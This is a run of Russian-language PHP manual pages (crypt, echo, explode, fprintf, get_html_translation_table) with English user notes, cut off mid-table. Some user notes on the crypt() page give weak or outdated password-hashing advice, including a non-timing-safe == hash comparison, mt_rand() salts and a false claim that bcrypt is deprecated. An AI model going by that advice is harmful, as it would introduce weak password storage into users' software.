Стандартная функция crypt() на основе DES возвращает соль в качестве первых двух символов возвращаемой строки. Кроме того, она использует только первые восемь символов строки string, поэтому более длинные строки, начинающиеся с тех же восьми символов, сгенерируют один и тот же результат (при использовании одинаковой соли).

Поддерживаются следующие типы хешей:

  • CRYPT_STD_DES - Стандартное DES-шифрование с двухсимвольной солью из алфавита "./0-9A-Za-z""./0-9A-Za-z". Использование других символов в соли повлечёт за собой отказ работы crypt().
  • CRYPT_EXT_DES - Расширенное DES-шифрование. "Соль" является 9-символьной строкой, состоящая из символа подчёркивания, за которым следуют 4 символа счётчика итерации и 4 символа соли. Каждая из этих 4-символьных строк кодирует 24 бита, наименьший символ первым. Значения от 0 до 63 кодируются как ./0-9A-Za-z. Использование недопустимых символов в соли приведёт к ошибке crypt().
  • CRYPT_MD5 - MD5-шифрование с 12-символьной солью, начинающейся с $1$
  • CRYPT_BLOWFISH - Blowfish-шифрование со следующей солью: "$2a$", "$2x$" или "$2y$", весовой параметр из двух цифр, "$" и 22 цифры из алфавита "./0-9A-Za-z". Использование других символов в соли повлечёт за собой возврат пустой строки. Весовой параметр из двух цифр является двоичным логарифмом счётчика итераций нижележащего хеширующего алгоритма, основанного на Blowfish, и должен быть в диапазоне 04-31, значения вне данного диапазона вызовут отказ crypt(). Хеши "$2x$" потенциально слабые; Хэши "$2a$" совместимы и смягчают эту слабость. Для новых хэшей следует использовать "$2y$".
  • CRYPT_SHA256 - хеш SHA-256 с шестнадцатисимвольной солью, начинающейся с $5$. Если строка с солью начинается с 'rounds=<N>$', число N будет использовано для обозначения количества раундов хеширования, по аналогии с весовым параметром в Blowfish. По умолчанию используемое количество раундов равно 5000, минимально доступно 1000 и максимально 999,999,999. Любое значение вне этого диапазона будет усечено до ближайшего лимита.
  • CRYPT_SHA512 - хеш SHA-512 с шестнадцатисимвольной солью, начинающейся с $6$. Если строка с солью начинается с 'rounds=<N>$', число N будет использовано для обозначения количества раундов хеширования, по аналогии с весовым параметром в Blowfish. По умолчанию используемое количество раундов равно 5000, минимально доступно 1000 и максимально 999,999,999. Любое значение вне этого диапазона будет усечено до ближайшего лимита.

Список параметров

string

Хешируемая строка.

Предостережение

При использовании алгоритма CRYPT_BLOWFISH, параметр string обрезается до 72 байт.

salt

Параметр с солью, на которой будет основано хеширование. Если не указан, поведение определяется по наличию реализованных алгоритмов в системе и может привести к неожиданным результатам.

Возвращаемые значения

Возвращает хешированную строку или строку короче 13 символов, гарантированно отличающуюся от соли в случае возникновения ошибки.

Внимание

При валидации паролей должны использоваться функции сравнения строк, устойчивые к атаке по времени, для сравнения вывода функции crypt() с известным хешом. В PHP для этих целей есть функция hash_equals().

Список изменений

Версия | Описание
8.0.0 | salt больше не является необязательным.

Примеры

Пример #1 Пример использования crypt()

<?php
// соль будет сгенерирована автоматически; не рекомендуется
$user_input = 'rasmuslerdorf';
$hashed_password = '$6$rounds=1000000$NJy4rIPjpOaU$0ACEYGg/aKCY3v8O8AfyiO7CTfZQ8/W231Qfh2tRLmfdvFD6XfHk12u6hMr9cYIA4hnpjLNSTRtUwYr9km9Ij/';

// Проверка существующего хеша crypt() способом, совместимым с программами, не использующими PHP.
if (hash_equals($hashed_password, crypt($user_input, $hashed_password))) {
echo "Пароль верен!";
}
?>

Пример #2 Использование crypt() с различными видами хешей

<?php
/* Приведённая соль является только примером. Не используйте эту же соль в вашем коде.
Вы должны сгенерировать уникальную и правильную соль для каждого пароля.
*/
echo 'Стандартный DES: ',
crypt('rasmuslerdorf', 'rl'),
"\n";
echo 'Расширенный DES: ',
crypt('rasmuslerdorf', '_J9..rasm'),
"\n";
echo 'MD5: ',
crypt('rasmuslerdorf', '$1$rasmusle$'),
"\n";
echo 'Blowfish: ',
crypt('rasmuslerdorf', '$2a$07$usesomesillystringforsalt$'),
"\n";
echo 'SHA-256: ',
crypt('rasmuslerdorf', '$5$rounds=5000$usesomesillystringforsalt$'),
"\n";
echo 'SHA-512: ',
crypt('rasmuslerdorf', '$6$rounds=5000$usesomesillystringforsalt$'),
"\n";
?>

Вывод приведённого примера будет похож на:

Стандартный DES: rl.3StKT.4T8M
Расширенный DES: _J9..rasmBYk8r9AiWNc
MD5:          $1$rasmusle$rISCgZzpwk3UhDidwXvin0
Blowfish:     $2y$07$usesomesillystringfore2uDLvp1Ii2e./U9C8sBjqp8I90dH6hi
SHA-256:      $5$rounds=5000$usesomesillystri$KqJWpanXZHKq2BOB43TSaYhEWsQ1Lr5QNyPCDH/Tp.6
SHA-512:      $6$rounds=5000$usesomesillystri$D4IrlXatmP7rx3P3InaxBeoomnAihCKRVQP22JZ6EY47Wc6BkroIuUUBOov1i.S5KPgErtP/EN5mcO.ChWQW21

Примечания

Замечание: Функция расшифровки отсутствует, так как crypt() использует необратимый алгоритм хеширования.

Смотрите также

  • hash_equals() - Сравнивает строки без риска атаки по времени
  • password_hash() - Создаёт хеш пароля
  • Страница руководства Unix по вашей функции crypt

User Contributed Notes

Joey 31-Oct-2017 12:30
While the documentation says that crypt will fail for DES if the salt is invalid, this turns out to not be the case.

The crypt function will accept any string of two characters or more for DES as long as it doesn't match the pattern for any other hashing schema. The remaining characters will be ignored.
Anonymous 28-Oct-2017 11:03
steve at tobtu dot com was right 4 years ago, but now mcrypt_create_iv()  (and bcrypt in general) is deprecated!

Use random_bytes() instead:

<?php
$salt = base64_encode(random_bytes(16));
bob dot orr at mailinator dot com 09-Feb-2015 02:10
The #2 comment on this comments page (as of Feb 2015) is 9 years old and recommends phpass.  I have independently security audited this product and, while it continues to be recommended for password security, it is actually insecure and should NOT be used.  It hasn't seen any updates in years (still at v0.3) and there are more recent alternatives such as using the newer built-in PHP password_hash() function that are much better.  Everyone, please take a few moments to confirm what I'm saying is accurate (i.e. review the phpass code for yourself) and then click the down arrow to sink the phpass comment to the bottom.  You'll be increasing security across the Internet by doing so.

For those who want details:  md5() with microtime() are a fallback position within the source code of phpass.  Instead of terminating, it continues to execute code.  The author's intentions of trying to work everywhere are admirable but, when it comes to application security, that stance actually backfires.  The only correct answer in a security context is to terminate the application rather than fallback to a weak position that can potentially be exploited (usually by forcing that weaker position to happen).
ian+php dot net at eiloart dot ocm 16-May-2014 12:46
If you're stuck with CRYPT_EXT_DES, then you'll want to pick a number of iterations: the 2nd-5th characters of the "salt".

My experimentation suggests that the 5th character is the most significant. A '.' is a zero and 'Z' is the highest value. Using all dots will create an error: all passwords will be encrypted to the same value.

Here are some encryption timings (in seconds) that I obtained, with five different iteration counts over the same salt, and the same password, on a quad core 2.66GHz Intel Xeon machine.

_1111 time: 0.15666794776917
_J9.Z time: 1.8860530853271
_J9.. time: 0.00015401840209961
_...Z time: 1.9095730781555
_ZZZZ time: 1.9124970436096
_...A time: 0.61211705207825

I think a half a second is reasonable for an application, but for the back end authentication? I'm not so sure: there's a significant risk of overloading the back end if we're getting lots of authentication requests.
Marten Jacobs 07-Jan-2014 09:57
As I understand it, blowfish is generally seen a secure hashing algorithm, even for enterprise use (correct me if I'm wrong). Because of this, I created functions to create and check secure password hashes using this algorithm, and using the (also deemed cryptographically secure) openssl_random_pseudo_bytes function to generate the salt.

<?php
/*
 * Generate a secure hash for a given password. The cost is passed
 * to the blowfish algorithm. Check the PHP manual page for crypt to
 * find more information about this setting.
 */
function generate_hash($password, $cost=11){
        /* To generate the salt, first generate enough random bytes. Because
         * base64 returns one character for each 6 bits, the we should generate
         * at least 22*6/8=16.5 bytes, so we generate 17. Then we get the first
         * 22 base64 characters
         */
        $salt=substr(base64_encode(openssl_random_pseudo_bytes(17)),0,22);
        /* As blowfish takes a salt with the alphabet ./A-Za-z0-9 we have to
         * replace any '+' in the base64 string with '.'. We don't have to do
         * anything about the '=', as this only occurs when the b64 string is
         * padded, which is always after the first 22 characters.
         */
        $salt=str_replace("+",".",$salt);
        /* Next, create a string that will be passed to crypt, containing all
         * of the settings, separated by dollar signs
         */
        $param='$'.implode('$',array(
                "2y", //select the most secure version of blowfish (>=PHP 5.3.7)
                str_pad($cost,2,"0",STR_PAD_LEFT), //add the cost in two digits
                $salt //add the salt
        ));

        //now do the actual hashing
        return crypt($password,$param);
}

/*
 * Check the password against a hash generated by the generate_hash
 * function.
 */
function validate_pw($password, $hash){
        /* Regenerating the with an available hash as the options parameter should
         * produce the same hash if the same password is passed.
         */
        return crypt($password, $hash)==$hash;
}
?>
jette at nerdgirl dot dk 25-Apr-2013 07:48
The crypt() function cant handle plus signs correctly. So if for example you are using crypt in a login function, use urlencode on the password first to make sure that the login procedure can handle any character:

<?php
$user_input =  '12+#?345';
$pass = urlencode($user_input));
$pass_crypt = crypt($pass);

if ($pass_crypt == crypt($pass, $pass_crypt)) {
  echo "Success! Valid password";
} else {
  echo "Invalid password";
}
?>
steve at tobtu dot com 13-Jan-2013 12:26
To generate salt use mcrypt_create_iv() not mt_rand() because no matter how many times you call mt_rand() it will only have at most 32 bits of entropy. Which you will start seeing salt collisions after about 2^16 users. mt_rand() is seeded poorly so it should happen sooner.

For bcrypt this will actually generate a 128 bit salt:
<?php $salt = strtr(base64_encode(mcrypt_create_iv(16, MCRYPT_DEV_URANDOM)), '+', '.'); ?>

*** Bike shed ***
The last character in the 22 character salt is 2 bits.
base64_encode() will have these four character "AQgw"
bcrypt will have these four character ".Oeu"

You don't need to do a full translate because they "round" to different characters:
echo crypt('', '$2y$05$.....................A') . "\n";
echo crypt('', '$2y$05$.....................Q') . "\n";
echo crypt('', '$2y$05$.....................g') . "\n";
echo crypt('', '$2y$05$.....................w') . "\n";

$2y$05$......................J2ihDv8vVf7QZ9BsaRrKyqs2tkn55Yq
$2y$05$.....................O/jw2XygQa2.LrIT7CFCBQowLowDP6Y.
$2y$05$.....................eDOx4wMcy7WU.kE21W6nJfdMimsBE3V6
$2y$05$.....................uMMcgjnOELIa6oydRivPkiMrBG8.aFp.
kaminski at istori dot com 05-Feb-2011 03:43
Here is an expression to generate pseudorandom salt for the CRYPT_BLOWFISH hash type:

<?php $salt = substr(str_replace('+', '.', base64_encode(pack('N4', mt_rand(), mt_rand(), mt_rand(), mt_rand()))), 0, 22); ?>

It is intended for use on systems where mt_getrandmax() == 2147483647.

The salt created will be 128 bits in length, padded to 132 bits and then expressed in 22 base64 characters.  (CRYPT_BLOWFISH only uses 128 bits for the salt, even though there are 132 bits in 22 base64 characters.  If you examine the CRYPT_BLOWFISH input and output, you can see that it ignores the last four bits on input, and sets them to zero on output.)

Note that the high-order bits of the four 32-bit dwords returned by mt_rand() will always be zero (since mt_getrandmax == 2^31), so only 124 of the 128 bits will be pseudorandom.  I found that acceptable for my application.


Выводит строки

  • « crypt
  • explode »
  • PHP Manual
  • Функции для работы со строками
  • Выводит строки

echo

(PHP 4, PHP 5, PHP 7, PHP 8)

echo — Выводит строки

Описание

echo(string ...$expressions): void

Выводит одно или несколько выражений без дополнительных символов новой строки или пробелов.

Придерживаясь строгой терминологии, echo — это не функция, а языковая конструкция. Её аргументы — это список выражений, следующих за ключевым словом echo, разделённых запятыми и не ограниченных круглыми скобками. Языковая конструкция echo, в отличие от других языковых конструкций, не возвращает никаких значений, поэтому её нельзя использовать в контексте выражения.

У конструкции echo есть также краткий синтаксис, где можно сразу после открывающего тега поставить знак равенства. Сокращённый синтаксис работает даже с отключённым параметром конфигурации short_open_tag.

У меня есть <?=$foo?> foo.

Основные отличия от конструкции print состоят в том, что конструкция echo умеет принимать много аргументов и не возвращает значение.

Список параметров

expressions

Одно или несколько строковых выражений для вывода, разделённых запятыми. Нестроковые значения будут преобразованы в строки, даже если включена директива strict_types.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Примеры использования языковой конструкции echo

<?php

echo "echo не требует скобок.";

// Строки можно передавать по отдельности как несколько аргументов или
// объединять вместе и передавать как один аргумент.
echo 'Эта ', 'строка ', 'сформирована ', 'из ', 'нескольких параметров.', "\n";
echo 'Эта ' . 'строка ' . 'сформирована ' . 'с ' . 'помощью конкатенации.' . "\n";

// Новая строка или пробел не добавляются; пример ниже выведет «приветмир» в одну строку
echo "привет";
echo "мир";

// То же, что и выше
echo "привет", "мир";

echo "Эта строка занимает
несколько строк. Новые строки также
будут выведены";

echo "Эта строка занимает\nнесколько строк. Новые строки также\nбудут выведены.";

// Аргументом может быть любое выражение, производящее строку
$foo = "пример";
echo "пример - это $foo"; // пример - это пример

$fruits = ["лимон", "апельсин", "банан"];
echo implode(" и ", $fruits); // лимон и апельсин и банан

// Нестроковые выражения приводятся к строковым, даже если задана строгая проверка типов declare(strict_types=1)
echo 6 * 7; // 42

// Поскольку echo не работает как выражение, следующий код некорректен.
($some_var) ? echo 'true' : echo 'false';

// Однако следующие примеры будут работать:
($some_var) ? print 'true' : print 'false'; // print — тоже конструкция,
// но это допустимое выражение, возвращающее 1,
// поэтому его можно использовать в этом контексте.

echo $some_var ? 'true': 'false'; // сначала выполняется выражение, результат которого передаётся в echo
?>

Примечания

Замечание: Поскольку это языковая конструкция, а не функция, её нельзя вызывать как переменную функцию или передавать как именованный аргумент.

Замечание: Использование с круглыми скобками

Заключение одного аргумента для конструкции echo в круглые скобки не вызовет синтаксической ошибки и создаст синтаксис, который выглядит как обычный вызов функции. Однако это может ввести в заблуждение, потому что круглые скобки интерпретируются как часть выводимого выражения, а не часть самого синтаксиса echo.

<?php

echo "привет";
// выведет «привет»

echo("привет");
// также выведет «привет», потому что ("привет") — корректное выражение

echo(1 + 2) * 3;
// выведет «9»; круглые скобки приводят к тому, что сначала вычисляется 1 + 2, а затем 3 * 3
// оператор echo видит всё выражение как один аргумент

echo "привет", " мир";
// выведет «привет мир»

echo("привет"), (" мир");
// выведет «привет мир»; круглые скобки являются частью каждого выражения

echo("привет", " мир");
// Выбросит ошибку синтаксического анализа, потому что ("привет", "мир") — некорректное выражение.
?>

Подсказка

Передача нескольких аргументов в echo помогает избегать осложнений, связанных с приоритетом оператора конкатенации в PHP. Например, у оператора конкатенации более высокий приоритет, чем у тернарного оператора, а до PHP 8.0.0 у него был тот же приоритет, что и у сложения с вычитанием:

<?php

// Ниже выражение 'Привет, ' . isset($name) вычисляется первым
// и всегда имеет значение true, поэтому аргумент для echo всегда равен значению переменной $name
echo 'Привет, ' . isset($name) ? $name : 'Джон Доу' . '!';

// Предполагаемое поведение требует дополнительных скобок
echo 'Привет, ' . (isset($name) ? $name : 'Джон Доу') . '!';

// До PHP 8.0.0 пример ниже выведет «2», а не «Сумма: 3».
echo 'Сумма: ' . 1 + 2;

// И снова, добавление круглых скобок указывает точный порядок оценки выражения.
echo 'Сумма: ' . (1 + 2);

Если передано несколько аргументов, то скобки не нужны для принудительной установки приоритета, потому что каждое выражение отдельно:

<?php

echo "Привет, ", isset($name) ? $name : "Джон Доу", "!";

echo "Сумма: ", 1 + 2;

Смотрите также

  • print - Выводит строку
  • printf() - Выводит отформатированную строку
  • flush() - Сбрасывает системный буфер вывода
  • Способы работы со строками

User Contributed Notes

retrobytespr at mail dot com 08-Feb-2022 09:39
If you have a large block of text, say your blog or something includes code examples, you may use the <<< operator (?) to define the start and end of your block to be echoed out. For instance:

<?php
echo <<< JAVASCRIPT

function convertTroyOuncesToGrams(troyOunce) {
    return troyOunce / 31.1034768;
}

JAVASCRIPT; # End of block

?>

You may also embed PHP strings and other simple scalars into your blocks of text, for example:

<?php
$troyOunceAsGrams = 31.1034768;

echo <<< JAVASCRIPT

function convertTroyOuncesToGrams(troyOunce) {
    return troyOunce / {$troyOunceAsGrams};
}

JAVASCRIPT;
t3tesla at gmail dot com 15-Jul-2021 10:43
We can use the 'echo' shortcut syntax with the conditional operator (expr1) ? (expr2) : (expr3)

<?php
$some_var = 10;
?>
Back to html :
<p class="<?=$some_var>5 ? "class1" : "class2"?>">Some text.</p>

Will give :  <p class="class1">Some text.</p>

<?php
$some_var = 4;
?>
<p class="<?=$some_var>5 ? "class1" : "class2"?>">Some text.</p>

Will give :  <p class="class2">Some text.</p>
pemapmodder1970 at gmail dot com 28-Mar-2017 02:51
Passing multiple parameters to echo using commas (',')is not exactly identical to using the concatenation operator ('.'). There are two notable differences.

First, concatenation operators have much higher precedence. Referring to http://php.net/operators.precedence, there are many operators with lower precedence than concatenation, so it is a good idea to use the multi-argument form instead of passing concatenated strings.

<?php
echo "The sum is " . 1 | 2; // output: "2". Parentheses needed.
echo "The sum is ", 1 | 2; // output: "The sum is 3". Fine.
?>

Second, a slightly confusing phenomenon is that unlike passing arguments to functions, the values are evaluated one by one.

<?php
function f($arg){
  var_dump($arg);
  return $arg;
}
echo "Foo" . f("bar") . "Foo";
echo "\n\n";
echo "Foo", f("bar"), "Foo";
?>

The output would be:
string(3) "bar"FoobarFoo

Foostring(3) "bar"
barFoo

It would become a confusing bug for a script that uses blocking functions like sleep() as parameters:

<?php
while(true){
  echo "Loop start!\n", sleep(1);
}
?>

vs

<?php
while(true){
  echo "Loop started!\n" . sleep(1);
}
?>

With ',' the cursor stops at the beginning every newline, while with '.' the cursor stops after the 0 in the beginning every line (because sleep() returns 0).


Разбивает строку разделителем

  • « echo
  • fprintf »
  • PHP Manual
  • Функции для работы со строками
  • Разбивает строку разделителем

explode

(PHP 4, PHP 5, PHP 7, PHP 8)

explode — Разбивает строку разделителем

Описание

explode(string $separator, string $string, int $limit = PHP_INT_MAX): array

Функция возвращает массив строк, каждая из которых — подстрока, которая образовалась за счёт разделения строки string по границам, которые образовала строка-разделитель separator.

Список параметров

separator

Разделитель.

string

Входная строка.

limit

Функция вернёт массив, который будет содержать максимум limit элементов, при этом последний элемент будет содержать остаток строки string.

Функция вернёт все компоненты за вычетом заданного в параметре limit количества элементов с конца, если параметр limit отрицательный.

Функция расценит значение limit как 1, если параметр равен нулю.

Замечание:

До PHP 8.0 функция implode() принимала параметры в любом порядке. Функция explode() никогда этого не поддерживала: убедитесь, что разделитель separator идёт перед строкой string.

Возвращаемые значения

Функция возвращает массив (array) строк (string), который она создаёт разделением строки string по границам, которые образовал разделитель separator.

Функция explode() выбрасывает исключение ValueError, если разделитель separator — пустая строка "". Функция возвращает пустой массив (array), если разделителя separator нет в строке string и задали отрицательное значение параметра limit, иначе возвращает массив, который содержит строку string. Функция добавит значения как пустые значения массива (array) в первой или в последней позиции массива (array), который она возвращает, если значения разделителя separator появляются в начале или в конце строки string, соответственно.

Список изменений

Версия | Описание
8.0.0 | Теперь функция explode() выбрасывает исключение TypeError, если разделитель separator — пустая строка "". Раньше функция explode() вместо исключения возвращала false.

Примеры

Пример #1 Пример использования функции explode()

<?php

// Пример 1
$pizza = "кусок1 кусок2 кусок3 кусок4 кусок5 кусок6";
$pieces = explode(" ", $pizza);
echo $pieces[0]; // кусок1
echo $pieces[1]; // кусок2

// Пример 2
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell) = explode(":", $data);
echo $user; // foo
echo $pass; // *

?>

Пример #2 Пример значения, которое возвращает функция explode()

<?php

/**
* Строка, которая не содержит разделителя, будет
* просто возвращать массив с одним значением оригинальной строки.
*/
$input1 = "hello";
$input2 = "hello,there";
$input3 = ',';
var_dump( explode( ',', $input1 ) );
var_dump( explode( ',', $input2 ) );
var_dump( explode( ',', $input3 ) );

?>

Результат выполнения приведённого примера:

array(1)
(
    [0] => string(5) "hello"
)
array(2)
(
    [0] => string(5) "hello"
    [1] => string(5) "there"
)
array(2)
(
    [0] => string(0) ""
    [1] => string(0) ""
)

Пример #3 Примеры работы функции с параметром limit

<?php

$str = 'один|два|три|четыре';

// положительный лимит
print_r(explode('|', $str, 2));

// отрицательный лимит
print_r(explode('|', $str, -1));

?>

Результат выполнения приведённого примера:

Array
(
    [0] => один
    [1] => два|три|четыре
)
Array
(
    [0] => один
    [1] => два
    [2] => три
)

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • preg_split() - Разбивает строку по регулярному выражению
  • str_split() - Преобразовывает строку в массив
  • mb_split() - Разделяет строки в многобайтных кодировках через регулярное выражение
  • str_word_count() - Возвращает информацию о словах, входящих в строку
  • strtok() - Разбивает строку на токены
  • implode() - Объединяет элементы массива в строку

User Contributed Notes

marc 10-Nov-2023 01:12
If your data is smaller than the expected count with the list expansion:

<?php
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell,$nu) = explode(":", $data);
?>

The result is a warning not an error:

PHP Warning:  Undefined array key 7 in ...

The solution is to pad the array to the expected length:

<?php
$data = "foo:*:1023:1000::/home/foo:/bin/sh";
list($user, $pass, $uid, $gid, $gecos, $home, $shell,$nu) = array_pad( explode(":", $data), 8, "");
// where 8 is the count of the list arguments
?>
Alejandro-Ihuit 06-Oct-2022 03:04
If you want to directly take a specific value without having to store it in another variable, you can implement the following:

$status = 'Missing-1';

echo $status_only = explode('-', $status)[0];

// Missing
Gerben 19-Mar-2022 11:53
Note that an empty input string will still result in one element in the output array. This is something to remember when you are processing unknown input.

For example, maybe you are splitting part of a URI by forward slashes (like "articles/42/show" => ["articles", "42", "show"]). And maybe you expect that an empty URI will result in an empty array ("" => []). Instead, it will contain one element, with an empty string:

<?php

$uri = '';
$parts = explode('/', $uri);
var_dump($parts);

?>

Will output:

array(1) {
  [0]=>
  string(0) ""
}

And not:

array(0) {
}
bocoroth 10-Feb-2021 09:42
Be careful, while most non-alphanumeric data types as input strings return an array with an empty string when used with a valid separator, true returns an array with the string "1"!

var_dump(explode(',', null)); //array(1) { [0]=> string(0) "" }
var_dump(explode(',', false)); //array(1) { [0]=> string(0) "" }

var_dump(explode(',', true)); //array(1) { [0]=> string(1) "1" }


Записывает отформатированную строку в поток

  • « explode
  • get_html_translation_table »
  • PHP Manual
  • Функции для работы со строками
  • Записывает отформатированную строку в поток

fprintf

(PHP 5, PHP 7, PHP 8)

fprintf — Записывает отформатированную строку в поток

Описание

fprintf(resource $stream, string $format, mixed ...$values): int

Записывает строку, созданную с использованием строки формата format, в поток, дескриптор которого передаётся в параметре stream.

Список параметров

stream

Ресурс (resource) указателя файловой системы, который часто создают функцией fopen().

format

Строка формата состоит из нуля или более директив: обычные символы (за исключением %), которые просто выводятся без изменения, и спецификаторы преобразования, каждый из которых требует передачи своего параметра.

Спецификаторы преобразования имеют следующий формат: %[argnum$][flags][width][.precision]specifier.

Argnum

Целое число, за которым следует знак доллара $, чтобы указать, какой числовой аргумент обрабатывать при преобразовании.

Флаги
Флаг | Описание
- Выравнивание по левому краю в пределах заданной ширины поля; По умолчанию выравнивание происходит по правому краю.
+ Печатает плюс + у не отрицательных чисел; По умолчанию знак печатается только у отрицательных чисел.
(space) | Дополняет результат пробелами. Это поведение по умолчанию.
0 | Дополняет числа нулями (только слева). Со спецификатором s также может дополнять нулями справа.
'(char) | Дополняет результат символом (char).

Ширина

Либо целое число, указывающее, сколько символов (минимум) должно получиться в результате преобразования, либо *. Если указано значение *, то ширина задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Точность

Точка ., с последующим целым числом, либо *, значение которого зависит от спецификатора:

  • Для спецификаторов e, E, f и F: задаёт количество цифр после десятичной запятой (по умолчанию 6).
  • Для спецификаторов g,G, h и H: задаёт максимальное значение печатаемых значащих цифр.
  • Для спецификатора s: задаёт ограничение максимального количества символов в строке, которые будут выведены.

Замечание: Если указана точка без последующего значения точности, то точность будет считаться за 0. Если указано значение *, точность задаётся как дополнительное целое значение, предшествующее значению, отформатированному спецификатором.

Спецификаторы
Спецификатор | Описание
% Символ процента. Аргументы не требуются.
b | Аргумент рассматривается как целое число и печатается в бинарном представлении.
c | Аргумент рассматривается как целое число и печатается как символ из таблицы ASCII с соответствующим кодом.
d | Аргумент рассматривается как целое число и печатается как целое число со знаком.
e | Аргумент считается за число в научной нотации (т.е. 1.2e+2).
E | Аналогично спецификатору e, но использует заглавные символы (т.е. 1.2E+2).
f | Аргумент считается за число с плавающей точкой (с учётом локали).
F | Аргумент считается за число с плавающей точкой (без учёта локали).
g

Общий формат.

Пусть P равно точности, если она не равно нулю, 6 — если точность не задана и 1, если точность задана как 0. Тогда, если преобразование со стилем "E" будет иметь показатель степени X:

Если P > X ? ?4, преобразование будет в стиле "f" и точность будет P ? (X + 1). В обратном случае, преобразование будет в стиле "e" и точность будет P ? 1.

G | Аналогично спецификатору g, но использует E и f.
h | Аналогично спецификатору g, но использует F. Доступен с PHP 8.0.0.
H | Аналогично спецификатору g, но использует E и F. Доступен с PHP 8.0.0.
o | Аргумент рассматривается как целое число и печатается в восьмеричном представлении.
s | Аргумент рассматривается и печатается как строка.
u | Аргумент рассматривается как целое число и печатается как беззнаковое целое число.
x | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в нижнем регистре).
X | Аргумент рассматривается как целое число и печатается в шестнадцатеричном представлении (буквы будут в верхнем регистре).

Внимание

Спецификатор c игнорирует значения ширины и дополнения

Внимание

Попытка использовать спецификаторы с указанием ширины для строки в многобайтовой кодировке может привести к неожиданным результатам.

Переменные будут приведены к подходящему для спецификатора типу:

Обработка типов
Тип | Спецификатор
string | s
int | d, u, c, o, x, X, b
float | e, E, f, F, g, G, h, H

values

Возвращаемые значения

Возвращает длину записанной строки.

Ошибки

Начиная с PHP 8.0.0, если количество аргументов равно нулю, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [width] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если [precision] меньше нуля или больше PHP_INT_MAX, выбрасывается исключение ValueError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Начиная с PHP 8.0.0, если аргументов задано меньше, чем требуется, выбрасывается исключение ArgumentCountError. До PHP 8.0.0 вместо этого выдавалась ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | Функция больше не возвращает false, если возникла ошибка.
8.0.0 | Выбрасывает исключение ValueError, если количество аргументов равно нулю; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [width] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ValueError, если [precision] меньше нуля или больше PHP_INT_MAX; ранее функция выдавала ошибку уровня E_WARNING.
8.0.0 | Выбрасывает исключение ArgumentCountError, если аргументов задано меньше, чем требуется; ранее функция выдавала ошибку уровня E_WARNING.

Примеры

Пример #1 fprintf(): заполнение нулями

<?php
if (!($fp = fopen('date.txt', 'w'))) {
return;
}

fprintf($fp, "%04d-%02d-%02d", $year, $month, $day);
// запишет форматированную ISO-дату в файл date.txt
?>

Пример #2 fprintf(): форматирование денежных величин

<?php
if (!($fp = fopen('currency.txt', 'w'))) {
return;
}

$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// echo $money выведет "123.1";
$len = fprintf($fp, '%01.2f', $money);
// строка "123.10" записана в файл currency.txt

echo "записано $len байт в файл currency.txt";
// используйте возвращаемое из fprintf значение для определения количества записанных байт
?>

Смотрите также

  • printf() - Выводит отформатированную строку
  • sprintf() - Возвращает отформатированную строку
  • vprintf() - Выводит отформатированную строку
  • vsprintf() - Возвращает отформатированную строку
  • vfprintf() - Записывает отформатированную строку в поток
  • sscanf() - Разбирает строку в соответствии с заданным форматом
  • fscanf() - Обрабатывает данные из файла в соответствии с форматом
  • number_format() - Форматирует число с группировкой классов многозначного числа
  • date() - Форматирует временную метку Unix

User Contributed Notes

Julien MOREAU 16-Jun-2021 08:57
If you use the command line interface (CLI SAPI), you may be interested by the 3 standard input/output streams (STDIN, STDOUT & STDERR) described at: https://www.php.net/manual/en/features.commandline.io-streams.php


Возвращает таблицу преобразований, используемую функциями htmlspecialchars и htmlentities

  • « fprintf
  • hebrev »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает таблицу преобразований, используемую функциями htmlspecialchars и htmlentities

get_html_translation_table

(PHP 4, PHP 5, PHP 7, PHP 8)

get_html_translation_table — Возвращает таблицу преобразований, используемую функциями htmlspecialchars() и htmlentities()

Описание

get_html_translation_table(int $table = HTML_SPECIALCHARS, int $flags = ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401, string $encoding = "UTF-8"): array

get_html_translation_table() возвращает таблицу
преобразований, используемую функциями htmlspecialchars()
и htmlentities().

Замечание:

Специальные символы могут быть закодированы разными способами. Например, " может быть закодирован как &quot;, &#34; или &#x22. get_html_translation_table() возвращает только формы, используемые функциями htmlspecialchars() и htmlentities().

Список параметров

table

Указывает, какую таблицу использовать для преобразований. Либо HTML_ENTITIES, либо HTML_SPECIALCHARS.

flags

Битовая маска, состоящая из одного или нескольких перечисленных ниже флагов, которые указывают, какие кавычки будет содержать таблица, а также для какого документа таблица предназначена. Значение по умолчанию ENT_QUOTES | ENT_SUBSTITUTE | ENT_HTML401.

Доступные константы в параметре flags
Имя константы | Описание
ENT_COMPAT | Таблица будет содержать сущности для двойных кавычек, но не будет для одинарных.
ENT_QUOTES | Таблица будет содержать сущности как для двойных кавычек, так и для одинарных.
ENT_NOQUOTES | Таблица не будет содержать сущности ни для двойных кавычек, ни для одинарных.
ENT_SUBSTITUTE | Заменяет некорректные кодовые последовательности символом замены Юникода U+FFFD в случае использования UTF-8 и &#FFFD; при использовании другой кодировки, вместо возврата пустой строки.
ENT_HTML401 | Таблица для HTML 4.01.
ENT_XML1 | Таблица для XML 1.
ENT_XHTML | Таблица для XHTML.
ENT_HTML5 | Таблица для HTML 5.

encoding

Используемая кодировка. Если не указана, то значением по умолчанию для этого аргумента является UTF-8.

Функция поддерживает следующие кодировки:

Кодировки, которые поддерживает функция
Кодировка | Псевдонимы | Описание
